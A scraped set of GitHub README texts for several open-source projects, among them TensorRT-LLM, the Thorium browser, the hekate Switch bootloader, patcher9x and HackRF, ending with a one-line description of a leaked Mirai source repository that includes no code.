TensorRT-LLM must be built from source, instructions can be found here. An image of a Docker container with TensorRT-LLM and its Triton Inference Server Backend will be made available soon.

The remaining commands in that document must be executed from the TensorRT-LLM container.

Quick Start

To create a TensorRT engine for an existing model, there are 3 steps:

Download pre-trained weights,
Build a fully-optimized engine of the model,
Deploy the engine.

The following sections show how to use TensorRT-LLM to run the BLOOM-560m model.

0. In the BLOOM folder

Inside the Docker container, you have to install the requirements:

pip install -r examples/bloom/requirements.txt
git lfs install

1. Download the model weights from HuggingFace

From the BLOOM example folder, you must download the weights of the model.

cd examples/bloom
rm -rf ./bloom/560M
mkdir -p ./bloom/560M && git clone https://huggingface.co/bigscience/bloom-560m ./bloom/560M

2. Build the engine

# Single GPU on BLOOM 560M
python build.py --model_dir ./bloom/560M/ \
                --dtype float16 \
                --use_gemm_plugin float16 \
                --use_gpt_attention_plugin float16 \
                --output_dir ./bloom/560M/trt_engines/fp16/1-gpu/

See the BLOOM example for more details and options regarding the build.py script.

3. Run

The summarize.py script can be used to perform the summarization of articles from the CNN Daily dataset:

python summarize.py --test_trt_llm \
                    --hf_model_location ./bloom/560M/ \
                    --data_type fp16 \
                    --engine_dir ./bloom/560M/trt_engines/fp16/1-gpu/

More details about the script and how to run the BLOOM model can be found in the example folder. Many more models than BLOOM are implemented in TensorRT-LLM. They can be found in the examples directory.

Support Matrix

TensorRT-LLM optimizes the performance of a range of well-known models on NVIDIA GPUs. The following sections provide a list of supported GPU architectures as well as important features implemented in TensorRT-LLM.

Devices

TensorRT-LLM is rigorously tested on the following GPUs:

H100
L40S
A100/A30
V100 (experimental)

If a GPU is not listed above, it is important to note that TensorRT-LLM is expected to work on GPUs based on the Volta, Turing, Ampere, Hopper and Ada Lovelace architectures. Certain limitations may, however, apply.

Precision

Various numerical precisions are supported in TensorRT-LLM. The support for some of those numerical features require specific architectures:

	FP32	FP16	BF16	FP8	INT8	INT4
Volta (SM70)	Y	Y	N	N	Y	Y
Turing (SM75)	Y	Y	N	N	Y	Y
Ampere (SM80, SM86)	Y	Y	Y	N	Y	Y
Ada-Lovelace (SM89)	Y	Y	Y	Y	Y	Y
Hopper (SM90)	Y	Y	Y	Y	Y	Y

In this release of TensorRT-LLM, the support for FP8 and quantized data types (INT8 or INT4) is not implemented for all the models. See the precision document and the examples folder for additional details.

Key Features

TensorRT-LLM contains examples that implement the following features.

Multi-head Attention(MHA)
Multi-query Attention (MQA)
Group-query Attention(GQA)
In-flight Batching
Paged KV Cache for the Attention
Tensor Parallelism
Pipeline Parallelism
INT4/INT8 Weight-Only Quantization (W4A16 & W8A16)
SmoothQuant
GPTQ
AWQ
FP8
Greedy-search
Beam-search
RoPE

In this release of TensorRT-LLM, some of the features are not enabled for all the models listed in the examples folder.

Models

The list of supported models is:

Performance

Please refer to the performance page for performance numbers. That page contains measured numbers for four variants of popular models (GPT-J, LLAMA-7B, LLAMA-70B, Falcon-180B), measured on the H100, L40S and A100 GPU(s).

Advanced Topics

Quantization

This document describes the different quantization methods implemented in TensorRT-LLM and contains a support matrix for the different models.

In-flight Batching

TensorRT-LLM supports in-flight batching of requests (also known as continuous batching or iteration-level batching). It's a technique that aims at reducing wait times in queues, eliminating the need for padding requests and allowing for higher GPU utilization.

Attention

TensorRT-LLM implements several variants of the Attention mechanism that appears in most the Large Language Models. This document summarizes those implementations and how they are optimized in TensorRT-LLM.

Graph Rewriting

TensorRT-LLM uses a declarative approach to define neural networks and contains techniques to optimize the underlying graph. For more details, please refer to doc

Benchmark

TensorRT-LLM provides C++ and Python tools to perform benchmarking. Note, however, that it is recommended to use the C++ version.

Troubleshooting

It's recommended to add options –shm-size=1g –ulimit memlock=-1 to the docker or nvidia-docker run command. Otherwise you may see NCCL errors when running multiple GPU inferences. See https://docs.nvidia.com/deeplearning/nccl/user-guide/docs/troubleshooting.html#errors for details.
When building models, memory-related issues such as

[09/23/2023-03:13:00] [TRT] [E] 9: GPTLMHeadModel/layers/0/attention/qkv/PLUGIN_V2_Gemm_0: could not find any supported formats consistent with input/output data types
[09/23/2023-03:13:00] [TRT] [E] 9: [pluginV2Builder.cpp::reportPluginError::24] Error Code 9: Internal Error (GPTLMHeadModel/layers/0/attention/qkv/PLUGIN_V2_Gemm_0: could not find any supported formats consistent with input/output data types)

may happen. One possible solution is to reduce the amount of memory needed by reducing the maximum batch size, input and output lengths. Another option is to enable plugins, for example: --use_gpt_attention_plugin.

Release notes

TensorRT-LLM requires TensorRT 9.1.0.4 and 23.08 containers.

Change Log

TensorRT-LLM v0.5.0 is the first public release.

Known Issues

Report Issues

You can use GitHub issues to report issues with TensorRT-LLM.

Alex313031/thorium

2023-10-29T01:48:29Z

Chromium fork named after radioactive element No. 90. Windows and MacOS/Raspi/Android/Special builds are in different repositories, links are towards the top of the README.md.

Thorium

Chromium fork for linux named after radioactive element No. 90. Windows/MacOS/RasPi/Android/Other builds see below.

Always built with the latest stable version of Chromium.
Intended to behave like and have the featureset of Google Chrome, with differences/patches/enhancements listed below.
Includes Widevine, All Codecs, Chrome Plugins, as well as thinLTO, CFlag, LDFlag, LLVM Loop, and PGO compiler optimizations. It is built with SSE4, AVX, and AES, so it won't launch on CPU's below 2nd gen Core or AMD FX, but benefits from Advanced Vector EXtensions. If your CPU lacks AVX, you can use builds from Thorium Special.

Other Builds

– Windows builds are here > Thorium Win
– AVX2 Builds for Windows and Linux > Thorium AVX2
– MacOS (M1 and X64) builds are located at > Thorium Mac
– Android (arm32 & arm64) builds are located at > Thorium Android I might also occasionally post x86 builds.
– Raspberry Pi builds are located at > Thorium Raspi For the Pi 3B/3B+ and Pi 4/400.
– Special builds are located at > Thorium Special You can find SSE3 builds for CPUs without AVX here.
– Thorium Website with deb repo for auto-updating on Linux > https://thorium.rocks/
– NEW: Windows 7 / 8 / 8.1 / Server 2012 builds in > Thorium Win7

FEATURES & DIFFERENCES BETWEEN CHROMIUM AND THORIUM

Various compiler flags that improve performance and target AVX CPU's (read PATCHES.md)

Experimental MPEG-DASH support.

HEVC/H.265 support on Linux and Windows.

JPEG XL Image File Format turned on by default.

Enable Live Caption (SODA) on all builds.

Experimental PDF annotation support (called "Ink" on ChromiumOS). # DISABLED FOR NOW BECAUSE OF CRASHES.

Patches from Debian including font rendering patch, VAAPI Patch, Intel HD support patch, native notifications patch, title bar patch, and... the VDPAU Patch!! (Rejoice Nvidia users)

VAAPI on Wayland Patch (Thanks AUR and @pierro78)

Audio Sandbox patch.

DoH (DNS over HTTPS) patches from Bromite.

Enable Do Not Track by default patch from Vanadium.

Show full URLs including trailing slashes in address bar by default.

Disable FLOC patch.

Disable annoying Google API Key Infobar warning (you can still use API Keys to enable sync) from Ungoogled Chromium.

Disable annoying Default Browser Infobar warning.

Adds DuckDuckGo, Brave Search, Ecosia, Ask.com, and Yandex.com in US and other locales, along with the normal search engines.

Always use the local NTP (New Tab Page) regardless of search engine.

Fix icons when distilling page content in Reader Mode.

Enable new Menu UI when right clicking the Reload button. (Adds 'Normal Reload', 'Hard Reload', and 'Clear Cache and Hard Reload')

Home button and Chrome Labs shown by Default.

Prefetch settings updated to respect privacy.

Patches for GN and chrome_sandbox when building.

Remove the addition of the Chrome APT sources.list during installation.

Widevine CDM Patch for Linux.

GTK auto dark mode patch

Various new flags either developed from scratch, or added from Ungoogled Chromium. See PATCHES.md

Enable Parallel Downloading by Default.

Inclusion of pak a utility for packing and unpacking the *.pak files in Thorium or any other Chromium based browser.

Logo and Branding/Naming changed to the Thorium logo, Thorium name, and "Alex313031" being appended to "The Chromium Authors" in credits, etc.

.desktop file includes useful cmdline flags that enable experimental or useful features. (See PATCHES.md)

Includes installer patches and files to include ChromeDriver and thorium_shell (content_shell), with a .desktop file being provided for thorium_shell (named thorium-shell.desktop and shows in desktop environments as Thorium Content Shell). These are also included in the Windows releases, but it doesn't make a shorcut, although a .png and .ico is in the install directory for you to make your own shortcut with an icon. You can also run content_shell with the command thorium-shell (custom wrapper for it, located in /usr/bin/). You can run ChromeDriver at /usr/bin/chromedriver or chromedriver.exe on Windows. Also, patches for abseil library and mini_installer when building with AVX on Windows.

Right clicking the launcher after install gives three additional desktop actions, one to open thorium-shell, another to open in Safe Mode which disables any flags one has set in chrome://flags until the next launch, and lastly to open in Dark Mode which appends the --force-dark-mode flag.

For more info, read the PATCHES.md file.
Known bugs are in the BUGS.md file.
A list of Chromium command line flags can be found at > https://peter.sh/experiments/chromium-command-line-switches

Building

See > https://github.com/Alex313031/thorium/blob/main/docs/BUILDING.md

Debugging

See > https://github.com/Alex313031/thorium/tree/main/infra/DEBUG#readme

− https://www.reddit.com/r/ChromiumBrowser/ is a subreddit I made for Thorium and general Thorium/Chromium discussion, https://thorium.rocks/ is the website I made for it, and https://alex313031.blogspot.com/ is a blog I made relating to Thorium/ThoriumOS.
− I also build ChromiumOS (now called ThoriumOS) with Thorium, Codecs, Widevine, linux-firmware/modules, and extra packages at > https://github.com/Alex313031/ChromiumOS/

NOTE: libpepflashplayer.so is included for posterity and can be used to enable Adobe Flash on older Chromium releases. ʘ‿ʘ

Thanks for using Thorium!

Dr-TSNG/ZygiskNext

2023-10-29T01:48:29Z

Standalone implementation of Zygisk

Zygisk Next

Standalone implementation of Zygisk, providing Zygisk API support for KernelSU and a replacement of Magisk's built-in Zygisk.

Requirements

General

No multiple root implementation installed
SELinux enforcing: Zygisk Next rely on SELinux to prevent vold from aborting our fuse connection

KernelSU

Minimal KernelSU version: 10940
Minimal ksud version: 10942
Kernel has full SELinux patch support

Magisk

Minimal version: 26300
Built-in Zygisk turned off

Compatibility

PROCESS_ON_DENYLIST cannot be flagged correctly for isolated processes on Magisk DenyList currently.

Zygisk Next only guarantees the same behavior of Zygisk API, but will NOT ensure Magisk's internal features.

GaijinEntertainment/daScript

2023-10-29T01:28:04Z

daScript - high-performance statically strong typed scripting language

daScript

daScript - high-performance statically strong typed scripting language

MacOS/linux/win32/win64 build status
MacOS/linux/win64 wasm build status

Read my BLOG

0.4 version released

Looks like we are going to have releases soon. In the meantime CMake install is now a thing. Disable XBYAK and QUIRREL- and you got yourself a clean build where everything is tested, installs, has samples, and all that jazz.

JHRobotics/patcher9x

2023-10-29T01:28:04Z

Patch for Windows 9x to fix CPU issues

Patch for Windows 95/98/98 SE/Me to fix CPU issues

Virtualization of Microsoft Windows 9x systems is a bit problematic due to 2 major bugs: TLB invalidation bug and CPU speed limit bug.

This program contains a set of patches to fix these bugs, and can be booted from a floppy on a virtual machine. It either applies the patch to the installed system, or it patches the installation files in order to create (relatively) bug-free installation media.

Patch for Windows 98/Me to fix TLB invalidation bug

MS Windows 98 won't run on newer CPU (even in a virtual machine) due to the "TLB invalidation bug". The bug is described here: https://blog.stuffedcow.net/2015/08/win9x-tlb-invalidation-bug/

If you want to run a virtual machine without restriction with Windows 98 on AMD Zen 2 and newer (Ryzen 3000+) or Intel Core 11th generation and newer (code names Rocket Lake, Tiger Lake), you probably need this patch.

Patch for Windows 95/98 to fix CPU speed limit bug

Windows 95 and 98 FE (first edition) won't run on any CPU with frequency of ~2GHz and more due to dividing by zero in the CPU speed test. The bug is described and located here: https://www.betaarchive.com/forum/viewtopic.php?t=29224

There is also an older patch for this bug FIX95CPU, but it's only for Windows 95, doesn't integrate the "divide by zero" protection and also it's incrementing the number of cycles in the testing loop only 10 times of original which probably isn't enough for future CPUs. You can test your CPU speed with this command:

patcher9x -cputest

Requirements

Currently supported operation systems:

Windows 95
Windows 98
Windows 98 SE
Windows Me

Windows 95, 98 and 98 SE have the CPU speed limit bug. Windows 98 SE is a special case because it has "divide by zero" protection, but it also has a short loop test, so its timing information is probably useless and could potentially lead to other bugs.

Windows 98, 98 SE and Me have the TLB invalidation bug. The Millennium edition has this bug in the code, but from my observation, the system calls this code very rarely (for example with driver install/system update), so the bug isn't as obvious as in Windows 98. An older version of my patcher program also has a special mode for Windows Me, but in the current version it is no longer needed.

Some updates install newer version of some files, for example VMM.VXD: Q242161 (98 FE), Q288430 (98 SE), ME296773 (Me); NTKERN.VXD, IOS.VXD, ESDI_506.PDR, SCSIPORT.PDR and NDIS.VXD: Unofficial FIX95CPU. The patcher is compatible with these updates but is required to apply patches again after install. The best way is probably to run patcher from Windows (DOS or 32-bit version) before reboot - Windows 9x does not have any system files protection and you can overwrite system files in the running system. If you do not catch it and the system is rebooted to an error message, you will need to boot from a bootable floppy and start the patcher from it.

Updating

If you already applied this patch, you don't to need install patcher update - currently all the changes are for the patcher program, the patched code is the same. If you want to overwrite previous patches, you can safely run the patcher again and it automatically determines which files are suitable for patching and which are already patched.

Download

Binary files and bootable floppy image are in Releases

IMA file is a bootable floppy (FREEDOS) usable in a virtual machine to simple boot and patch the installed system. Binaries for win32 are Windows 98 compatible, so they can be run from safe mode (Hold CTRL on start-up). Binaries for other systems are for creating patched installation (in theory you can mount virtual HDD image and patch installed system on it, but doing it using boot the floppy is much simpler).

The tool has also been packaged for Nix/NixOS: $ nix develop nixpkgs#patcher9x or $ nix-shell -p patcher9x

Installation

The simplest way is by downloading bootable floppy image. After booting (you will see A:\), run:

patch9x

Patch will be run in interactive mode and the default strategy (patch files, VMM32.VXD will be patched directly) is probably the best way even for later updates. After rebooting operation system should start successfully.

Operation modes

Interactive mode

This is default mode, the program asking questions and user answear. You can just double click on EXE (or type patch9x to DOS command prompt) and program guide to you in patching process. For Linux build, the help is prinded if no arguments are given (default behaviour for UNIX programs) so you need specify path.

Automatic mode

Same as interactive but don't ask anything. Can be enabled with -auto switch and path to CAB files or 9x WINDOWS/SYSTEM directory needs to be specified.

Batch mode

In this mode program operate with single steps. Examples:

Extract VMM32.VXD from instalation media

patcher9x --cabs-extract D:\WIN98 VMM32.VXD

Extract VMM.VXD from VMM32.VXD

patcher9x --vxd-extract VMM32.VXD VMM.VXD

Patch individual File

patcher9x --patch-tlb VMM.VXD

Patch VXD archive

patcher9x --patch-all VMM32.VXD

Boot floppy

Boot floppy now contain CD driver and few utilities to prepare system disk. If you wish run Windows Installer from boot floppy, add /NM switch to setup.exe (because of different memory manager, the setup cannot determine real RAM size). Utilities are listed in boot/info.txt.

Patching installation media

Copy the content of win9x folder (or win95 - for Windows 95 or win98 - for Windows 98) from a CD / extract it from an ISO image. Then run:

patcher9x /path/to/folder/win98

If the patch is successful, you can copy the modified files back to the image. These are the files marked with the 'N' flag in the patcher output. Or it will be one of these:

VMM32.VXD
VMM.VXD
NTKERN.VXD
IOS.VXD
ESDI_506.PDR
SCSIPORT.PDR
NDIS.VXD

The Windows installer primarily takes files from the installation folder and if it can't find them, it'll scan the CAB archives instead.

For Windows 95, it is better to patch the installation media, or you will need to install the patch twice - after the first reboot and again after the installation of the network.

Please note, that file VMM32.VXD from installation IS NOT THE SAME as the file in Windows/system folder. Don't interchange them! See the Patching process section to know more about the VMM files.

More informations

Check patcher9x thread at Vogons: https://www.vogons.org/viewtopic.php?f=24&t=88284

Check GPU driver for Windows 9x: https://github.com/JHRobotics/softgpu

Build from source

To build from source you need:

GNU C compiler compatible C compiler (minimal version 4.6, MinGW or DJGPP works)
Flat assembler (https://flatassembler.net/)
GNU Make (minimal version 3.81)

To build the binary for your computer, simply type:

make

To cross compile, specify the HOST_CC and GUEST_CC variables to choose compiler, for example cross compiling to 32bit Windows:

make HOST_CC=gcc GUEST_CC=mingw-w64-i686-gcc

To produce a production binary, add RELEASE=1 to make.

After compiling, you can strip the binary (reduce some space):

make strip

There is a special profile for DOS cross-compilation -- if you have DJGPP compiler, you can produce the DOS executable this way:

make RELEASE=1 PROFILE=djgpp
make strip

MinGW compiled programs are linked with msvcrt.dll by default. To eliminate this depency (msvcrt.dll is missing all Windows 9x versions where isn't IE 4 or better), this project can use my NOCRT library. Use make PROFILE=nocrt or make PROFILE=nocrt64 to compile program for Windows with depency only to kernel32.dll.

Executable file name for most real operation systems is called patcher9x. For DOS, it is called patch9x.exe because file names are limited to 8+3 characters.

Patching process

TLB invalidation bug patching

The patch itself is relatively simple: injecting 2 instructions (mov ecx,cr3 and mov cr3,ecx) to the code in the VMM.VXD driver. The patch totally modifies 29 bytes in this file (for Windows 98).

The problem is that VMM.VXD isn't in a normal state on the HDD. VMM.VXD is a part of VMM32.VXD which is a compressed archive of several VXD drivers. VMM32.VXD isn't a generic file -- it is generated by the installer exclusively for your HW configuration.

The system for loading drivers first searches in the SYSTEM\VMM32 folder, and if the driver isn't there, it will search in the VMM32.VXD file.

If you want to know more about the code, see file FlushMappedCacheBlock.asm

More info about W3/W4 files

CPU speed limit bug patching

In the beginning, I increased the number of cycles of older patches by 8 times (80 times more than the original code and in the case of NDIS.VXD, 100 times more than the original code). I also injected a small "divide by zero" protection, which looks like this:

VMMcall Get_System_Time ; original - system time (in ms) to EAX
sub eax,esi             ; original - compare with last time in ESI
jnz skip_inc            ; new      - skip if result is non-zero
  inc eax               ; new      - increase zero result by one
skip_inc:

There are two variants of this code - one for NDIS.VXD and one for all other system files.

The new number of test cycles is now 80 000 000 -- in older patches it was 10 000 000, but a 4-year-old Ryzen 5 1400 CPU only needs 3 ms to run it through, so if you have a CPU which is 3 times faster[^1] you could have a problem here.

If you want to know more about the code, see file speed.inc

[^1]: Single thread performance in LOOP instruction, number of cores, special instructions etc. are irrelevant.

Development

In future I would like include ~~patch "CPU speed limit" (95, 98 FE)~~ and patch 48-bit LBA (95, 98, ME). Memory limit patch I want include too.

greatscottgadgets/hackrf

2023-10-29T01:48:14Z

low cost software radio platform

HackRF

This repository contains hardware designs and software for HackRF, a low cost, open source Software Defined Radio platform.

(photo by fd0 from https://github.com/fd0/hackrf-one-pictures)

principal author: Michael Ossmann mike@ossmann.com

Information on HackRF and purchasing HackRF: https://greatscottgadgets.com/hackrf/

Documentation

Documentation for HackRF can be viewed on Read the Docs. The raw documentation files for HackRF are in the docs folder in this repository and can be built locally by installing Sphinx Docs and running make html. Documentation changes can be submitted through pull request and suggestions can be made as GitHub issues.

To create a PDF of the HackRF documentation from the HackRF repository while on Ubuntu:

run sudo apt install latexmk texlive-latex-extra
navigate to hackrf/docs on command line
run the command make latex
run the command make latexpdf

Getting Help

Before asking for help with HackRF, check to see if your question is listed in the FAQ.

For assistance with HackRF general use or development, please look at the issues on the GitHub project. This is the preferred place to ask questions so that others may locate the answer to your question in the future.

We invite you to join our community discussions on Discord. Note that while technical support requests are welcome here, we do not have support staff on duty at all times. Be sure to also submit an issue on GitHub if you've found a bug or if you want to ensure that your request will be tracked and not overlooked.

If you wish to see past discussions and questions about HackRF, you may also view the mailing list archives.

GitHub issues on this repository that are labelled "technical support" by Great Scott Gadgets employees can expect a response time of two weeks. We currently do not have expected response times for other GitHub issues or pull requests for this repository.

CTCaer/hekate

2023-10-29T01:48:14Z

hekate - A GUI based Nintendo Switch Bootloader

hekate - Nyx

Custom Graphical Nintendo Switch bootloader, firmware patcher, tools, and many more.

Features

Fully Configurable and Graphical with Touchscreen and Joycon input support
Launcher Style, Background and Color Themes
HOS (Switch OS) Bootloader -- For CFW Sys/Emu, OFW Sys and Stock Sys
Android & Linux Bootloader
Payload Launcher
eMMC/emuMMC Backup/Restore Tools
SD Card Partition Manager -- Prepares and formats SD Card for any combo of HOS (Sys/emuMMC), Android and Linux
emuMMC Creation & Manager -- Can also migrate and fix existing emuMMC
Switch Android & Linux flasher
USB Mass Storage (UMS) for SD/eMMC/emuMMC -- Converts Switch into a SD Card Reader
USB Gamepad -- Converts Switch with Joycon into a USB HID Gamepad
Hardware and Peripherals info (SoC, Fuses, RAM, Display, Touch, eMMC, SD, Battery, PSU, Charger)
Many other tools like Archive Bit Fixer, Touch Calibration, SD/eMMC Benchmark, AutoRCM enabler and more

Bootloader folders and files

Folder/File	Description
bootloader	Main folder.
\|__ bootlogo.bmp	It is used if no `logopath` key is found. User provided. Can be skipped.
\|__ hekate_ipl.ini	Main bootloader configuration and boot entries in `Launch` menu.
\|__ nyx.ini	Nyx GUI configuration
\|__ patches.ini	Add external patches. Can be skipped. A template can be found here
\|__ update.bin	If newer, it is loaded at boot. Normally for modchips. Auto updated and created at first boot.
bootloader/ini/	For individual inis. `More configs` menu. Autoboot is supported.
bootloader/res/	Nyx user resources. Icons and more.
\|__ background.bmp	Nyx - Custom background. User provided.
\|__ icon_switch.bmp	Nyx - Default icon for CFWs.
\|__ icon_payload.bmp	Nyx - Default icon for Payloads.
bootloader/sys/	hekate and Nyx system modules folder.
\|__ emummc.kipm	emuMMC KIP1 module. !Important!
\|__ libsys_lp0.bso	LP0 (sleep mode) module. Important!
\|__ libsys_minerva.bso	Minerva Training Cell. Used for DRAM Frequency training. !Important!
\|__ nyx.bin	Nyx - hekate's GUI. !Important!
\|__ res.pak	Nyx resources package. !Important!
\|__ thk.bin	Atmosphère Tsec Hovi Keygen. !Important!
bootloader/screenshots/	Folder where Nyx screenshots are saved
bootloader/payloads/	For the `Payloads` menu. All CFW bootloaders, tools, Linux payloads are supported. Autoboot only supported by including them into an ini.
bootloader/libtools/	Reserved

Bootloader configuration

The bootloader can be configured via 'bootloader/hekate_ipl.ini' (if it is present on the SD card). Each ini section represents a boot entry, except for the special section 'config' that controls the global configuration.

There are four possible type of entries. "[ ]": Boot entry, "{ }": Caption, "#": Comment, "newline": .ini cosmetic newline.

You can find a template Here

hekate Global Configuration keys/values (when entry is [config]):

Config option	Description
autoboot=0	0: Disable, #: Boot entry number to auto boot.
autoboot_list=0	0: Read `autoboot` boot entry from hekate_ipl.ini, 1: Read from ini folder (ini files are ASCII ordered).
bootwait=3	0: Disable (It also disables bootlogo. Having VOL- pressed since injection goes to menu.), #: Time to wait for VOL- to enter menu. Max: 20s.
noticker=0	0: Animated line is drawn during custom bootlogo, signifying time left to skip to menu. 1: Disable.
autohosoff=1	0: Disable, 1: If woke up from HOS via an RTC alarm, shows logo, then powers off completely, 2: No logo, immediately powers off.
autonogc=1	0: Disable, 1: Automatically applies nogc patch if unburnt fuses found and a >= 4.0.0 HOS is booted.
bootprotect=0	0: Disable, 1: Protect bootloader folder from being corrupted by disallowing reading or editing in HOS.
updater2p=0	0: Disable, 1: Force updates (if needed) the reboot2payload binary to be hekate.
backlight=100	Screen backlight level. 0-255.

Boot entry key/value combinations:

Config option	Description
warmboot={FILE path}	Replaces the warmboot binary
secmon={FILE path}	Replaces the security monitor binary
kernel={FILE path}	Replaces the kernel binary
kip1={FILE path}	Replaces/Adds kernel initial process. Multiple can be set.
kip1={FOLDER path}/*	Loads every .kip/.kip1 inside a folder. Compatible with single kip1 keys.
fss0={FILE path}	Takes an Atmosphere `package3` binary (formerly fusee-secondary.bin) and `extracts` all needed parts from it. kips, exosphere, warmboot and mesophere if enabled.
fss0experimental=1	Enables loading of experimental content from a FSS0 storage
exofatal={FILE path}	Replaces the exosphere fatal binary for Mariko
----------------------	----------------------------------------------------------
kip1patch=patchname	Enables a kip1 patch. Specify with multiple lines and/or in one line with `,` as separator. If actual patch is not found, a warning will show up
emupath={FOLDER path}	Forces emuMMC to use the selected one. (=emuMMC/RAW1, =emuMMC/SD00, etc). emuMMC must be created by hekate because it uses the raw_based/file_based files.
emummcforce=1	Forces the use of emuMMC. If emummc.ini is disabled or not found, then it causes an error.
emummc_force_disable=1	Disables emuMMC, if it's enabled.
stock=1	Disables unneeded kernel patching and CFW kips when running stock or semi-stock. `If emuMMC is enabled, emummc_force_disable=1` is required. emuMMC is not supported on stock. If additional KIPs are needed other than OFW's, you can define them with `kip1` key. No kip should be used that relies on Atmosphère patching, because it will hang. If `NOGC` is needed, use `kip1patch=nogc`.
fullsvcperm=1	Disables SVC verification (full services permission). Doesn't work with Mesosphere as kernel.
debugmode=1	Enables Debug mode. Obsolete when used with exosphere as secmon.
atmosphere=1	Enables Atmosphère patching. Not needed when `fss0` is used.
----------------------	----------------------------------------------------------
payload={FILE path}	Payload launching. Tools, Android/Linux, CFW bootloaders, etc. Any key above when used with that, doesn't get into account.
----------------------	----------------------------------------------------------
l4t=1	L4T Linux/Android native launching.
boot_prefixes={FOLDER path}	L4T bootstack directory.
ram_oc=0	L4T RAM Overclocking. Check README_CONFIG.txt for more info.
ram_oc_vdd2=1100	L4T RAM VDD2 Voltage. Set VDD2 (T210B01) or VDD2/VDDQ (T210) voltage. 1050-1175.
ram_oc_vddq=600	L4T RAM VDDQ Voltage. Set VDDQ (T210B01). 550-650.
uart_port=0	Enables logging on serial port for L4T uboot/kernel.
Additional keys	Each distro supports more keys. Check README_CONFIG.txt for more info.
----------------------	----------------------------------------------------------
bootwait=3	Overrides global bootwait from `[config]`.
id=IDNAME	Identifies boot entry for forced boot via id. Max 7 chars.
logopath={FILE path}	If it exists, it will load the specified bitmap. Otherwise `bootloader/bootlogo.bmp` will be used if exists
icon={FILE path}	Force Nyx to use the icon defined here. If this is not found, it will check for a bmp named as the boot entry ([Test 2] -> `bootloader/res/Test 2.bmp`). Otherwise defaults will be used.

Note1: When using the wildcard (/*) with kip1 you can still use the normal kip1 after that to load extra single kips.

Note2: When using FSS0 it parses exosphere, warmboot and all core kips. You can override the first 2 by using secmon/warmboot after defining fss0. You can define kip1 to load an extra kip or many via the wildcard (/*) usage.

Warning: Careful when you define fss0 core kips when using fss0 or the folder (when using /*) includes them. This is in case the kips are incompatible between them. If compatible, you can override fss0 kips with no issues (useful for testing with intermediate kip changes). In such cases, the kip1 line must be under fss0 line.

Boot entry key/value combinations for Exosphère:

Config option	Description
nouserexceptions=1	Disables usermode exception handlers when paired with Exosphère.
userpmu=1	Enables user access to PMU when paired with Exosphère.
cal0blank=1	Overrides Exosphère config `blank_prodinfo_{sys/emu}mmc`. If that key doesn't exist, `exosphere.ini` will be used.
cal0writesys=1	Overrides Exosphère config `allow_writing_to_cal_sysmmc`. If that key doesn't exist, `exosphere.ini` will be used.
usb3force=1	Overrides system settings mitm config `usb30_force_enabled`. If that key doesn't exist, `system_settings.ini` will be used.

Note: cal0blank, cal0writesys, usb3force, as stated override the exosphere.ini or system_settings.ini. 0: Disable, 1: Enable, Key Missing: Use original value.

Note2: blank_prodinfo_{sys/emu}mmc, allow_writing_to_cal_sysmmc and usb30_force_enabled in exosphere.ini and system_settings.ini respectively, are the only atmosphere config keys that can affect hekate booting configuration externally, if the equivalent keys in hekate config are missing.

Payload storage:

hekate has a boot storage in the binary that helps it configure it outside of BPMP enviroment:

Offset / Name	Description
'0x94' boot_cfg	bit0: `Force AutoBoot`, bit1: `Show launch log`, bit2: `Boot from ID`, bit3: `Boot to emuMMC`.
'0x95' autoboot	If `Force AutoBoot`, 0: Force go to menu, else boot that entry.
'0x96' autoboot_list	If `Force AutoBoot` and `autoboot` then it boots from ini folder.
'0x97' extra_cfg	When menu is forced: bit5: `Run UMS`.
'0x98' xt_str[128]	Depends on the set cfg bits.
'0x98' ums[1]	When `Run UMS` is set, it will launch the selected UMS. 0: SD, 1: eMMC BOOT0, 2: eMMC BOOT1, 3: eMMC GPP, 4: emuMMC BOOT0, 5: emuMMC BOOT1, 6: emuMMC GPP,
'0x98' id[8]	When `Boot from ID` is set, it will search all inis automatically and find the boot entry with that id and boot it. Must be NULL terminated.
'0xA0' emummc_path[120]	When `Boot to emuMMC` is set, it will override the current emuMMC (boot entry or emummc.ini). Must be NULL terminated.

Nyx Configuration keys/values (nyx.ini):

Config option	Description
themebg=2d2d2d	Sets Nyx background color in HEX. EXPERIMENTAL.
themecolor=167	Sets Nyx color of text highlights.
entries5col=0	1: Sets Launch entry columns from 4 to 5 per line. For a total of 10 entries.
timeoff=100	Sets time offset in HEX. Must be in HOS epoch format
homescreen=0	Sets home screen. 0: Home menu, 1: All configs (merges Launch and More configs), 2: Launch, 3: More Configs.
verification=1	0: Disable Backup/Restore verification, 1: Sparse (block based, fast and mostly reliable), 2: Full (sha256 based, slow and 100% reliable).
------------------	------- The following options can only be edited in nyx.ini -------
umsemmcrw=0	1: eMMC/emuMMC UMS will be mounted as writable by default.
jcdisable=0	1: Disables Joycon driver completely.
jcforceright=0	1: Forces right joycon to be used as main mouse control.
bpmpclock=1	0: Auto, 1: Fastest, 2: Faster, 3: Fast. Use 2 or 3 if Nyx hangs or some functions like UMS/Backup Verification fail.

hekate  (c) 2018,      naehrwert, st4rk.
        (c) 2018-2023, CTCaer.

Nyx GUI (c) 2019-2023, CTCaer.

Thanks to: derrek, nedwill, plutoo, shuffle2, smea, thexyz, yellows8.
Greetings to: fincs, hexkyz, SciresM, Shiny Quagsire, WinterMute.

Open source and free packages used:
 - FatFs R0.13a, Copyright (c) 2017, ChaN
 - bcl-1.2.0, Copyright (c) 2003-2006, Marcus Geelnard
 - Atmosphère (Exosphere types/panic, prc id kernel patches),
   Copyright (c) 2018-2019, Atmosphère-NX
 - elfload, Copyright (c) 2014 Owen Shepherd, Copyright (c) 2018 M4xw
 - Littlev Graphics Library, Copyright (c) 2016 Gabor Kiss-Vamosi

                         ___
                      .-'   `'.
                     /         \
                     |         ;
                     |         |           ___.--,
            _.._     |0) = (0) |    _.---'`__.-( (_.
     __.--'`_.. '.__.\    '--. \_.-' ,.--'`     `""`
    ( ,.--'`   ',__ /./;   ;, '.__.'`    __
    _`) )  .---.__.' / |   |\   \__..--""  """--.,_
   `---' .'.''-._.-'`_./  /\ '.  \ _.--''````'''--._`-.__.'
         | |  .' _.-' |  |  \  \  '.               `----`
          \ \/ .'     \  \   '. '-._)
           \/ /        \  \    `=.__`'-.
           / /\         `) )    / / `"".`\
     , _.-'.'\ \        / /    ( (     / /
      `--'`   ) )    .-'.'      '.'.  | (
             (/`    ( (`          ) )  '-;   [switchbrew]

jgamblin/Mirai-Source-Code

2023-10-29T01:48:14Z

Leaked Mirai Source Code for Research/IoC Development Purposes

Mirai BotNet

Leaked Linux.Mirai Source Code for Research/IoT Development Purposes

Uploaded for research purposes and so we can develop IoT and such.

